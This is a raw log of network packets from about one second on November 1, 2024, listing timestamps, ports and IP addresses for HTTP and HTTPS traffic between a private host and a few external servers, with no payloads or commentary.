Nov 1, 2024 05:02:33.488856077 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.488877058 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.488899946 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.488925934 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.489017010 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.489339113 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.524570942 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.524585009 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.524595976 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.524688005 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.524722099 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.524734974 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.524744034 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.524780989 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.524858952 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.524869919 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.524913073 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.569324970 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.569335938 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.569346905 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.569380999 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.569428921 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.569439888 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.569458008 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.569484949 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.569510937 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.605135918 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.605156898 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.605206966 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.605226040 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.605273008 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.605288029 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.605396032 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.605477095 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.605525017 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.605828047 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.605882883 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.605987072 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.606039047 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.606051922 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.606065035 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.606098890 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.606127977 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.606178999 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.641438007 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.641450882 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.641460896 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.641513109 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.641594887 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.641606092 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.641645908 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.641794920 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.641838074 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.641844034 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.641855955 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.641910076 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.641956091 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.686290026 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.686327934 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.686328888 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.686342955 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.686434031 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.686444998 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.686465979 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.686503887 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.686691046 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.686714888 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.686728001 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.686764002 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.722435951 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.722450972 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.722461939 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.722491980 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.722507000 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.722522974 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.722539902 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.722577095 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.722657919 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.722727060 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.722737074 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.722763062 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.722845078 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.722884893 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.759061098 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.759103060 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.759114027 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.759146929 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.759238958 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.759257078 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.759268045 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.759295940 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.759310961 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.759567022 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.759577036 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.759618044 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.803412914 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.803453922 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.803467035 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.803524017 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.803580999 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.803592920 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.803602934 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.803647995 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.803889990 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.803925037 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.803944111 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.804095984 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.804138899 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.804145098 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.804151058 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.804174900 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.839361906 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.839375019 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.839385033 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.839462996 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.839476109 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.839488029 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.839536905 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.839658976 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.839715958 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.839726925 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.839770079 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.876158953 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.876209021 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.876219988 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.876301050 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.876334906 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.876353979 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.876404047 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.876488924 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.876550913 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.876565933 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.876595974 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.920289993 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.920309067 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.920319080 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.920409918 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.920484066 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.920538902 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.920548916 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.920588970 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.920877934 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.920922995 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.920955896 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.920993090 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.921005011 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.921036005 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.921452045 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.921462059 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.921511889 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.921624899 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.921658993 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.921669006 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.921699047 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.921710014 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.955399036 CET	443	59858	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:33.955462933 CET	443	59858	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:33.955498934 CET	443	59858	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:33.955534935 CET	443	59858	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:33.955571890 CET	59858	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:33.955583096 CET	443	59858	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:33.955593109 CET	443	59858	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:33.955615997 CET	59858	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:33.955636978 CET	59858	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:33.955704927 CET	443	59858	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:33.955768108 CET	443	59858	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:33.956089020 CET	443	59858	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:33.956170082 CET	59858	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:33.956178904 CET	443	59858	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:33.956211090 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.956223011 CET	59858	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:33.956240892 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.956253052 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.956300974 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.956382990 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.956438065 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.956449032 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.956480026 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.956487894 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.960069895 CET	443	59858	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:33.993096113 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.993114948 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.993128061 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.993144989 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.993160963 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.993195057 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.993206978 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.993330002 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.993391037 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.993402004 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.993431091 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.993455887 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.993799925 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.993810892 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.993819952 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.993850946 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.005480051 CET	59858	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:34.036742926 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.037539005 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.037590981 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.037600994 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.037733078 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.037744045 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.037754059 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.037760019 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.037813902 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.037982941 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.038043976 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.038054943 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.038099051 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.038144112 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.038569927 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.038579941 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.038624048 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.038805962 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.038934946 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.038945913 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.038964987 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.038981915 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.038996935 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.073126078 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.073195934 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.073206902 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.073231936 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.073271990 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.073290110 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.073406935 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.073461056 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.073473930 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.073513985 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.073996067 CET	443	59858	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:34.074173927 CET	443	59858	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:34.074213028 CET	443	59858	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:34.074233055 CET	59858	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:34.074240923 CET	443	59858	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:34.074333906 CET	443	59858	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:34.074383020 CET	59858	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:34.074489117 CET	59858	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:34.074498892 CET	443	59858	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:34.074510098 CET	59858	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:34.074515104 CET	443	59858	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:34.109941959 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.109962940 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.109973907 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.110008955 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.110017061 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.110054970 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.110155106 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.110194921 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.110220909 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.110232115 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.110264063 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.110553026 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.110605001 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.110615969 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.110650063 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.154452085 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.154469967 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.154479980 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.154532909 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.154546976 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.154587984 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.154637098 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.154647112 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.154684067 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.155004025 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.155047894 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.155071020 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.155081987 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.155153036 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.155191898 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.155240059 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.155338049 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.155771017 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.155832052 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.155842066 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.155879021 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.156130075 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.156210899 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.156222105 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.156250000 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.156266928 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.156331062 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.156342983 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.156384945 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.190247059 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.190274000 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.190285921 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.190332890 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.190341949 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.190408945 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.190418959 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.190466881 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.190479040 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.226943970 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.226954937 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.226964951 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.227004051 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.227005005 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.227056980 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.227106094 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.227117062 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.227154016 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.227226019 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.227293015 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.227303028 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.227339983 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.240551949 CET	59852	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:34.240864038 CET	59859	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:34.245609999 CET	80	59859	185.215.113.43	192.168.2.5
Nov 1, 2024 05:02:34.245737076 CET	80	59852	185.215.113.43	192.168.2.5
Nov 1, 2024 05:02:34.245820999 CET	59859	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:34.245841026 CET	59852	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:34.245990038 CET	59859	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:34.250746965 CET	80	59859	185.215.113.43	192.168.2.5
Nov 1, 2024 05:02:34.271531105 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.271560907 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.271572113 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.271634102 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.271687031 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.271697998 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.271737099 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.271811962 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.271873951 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.271883965 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.271894932 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.271931887 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.271994114 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.272006989 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.272047997 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.272417068 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.272500038 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.272511005 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.272552013 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.272691965 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.272737980 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.272747993 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.272809982 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.272859097 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.272870064 CET	80	59856	185.215.113.16	192.168.2.5
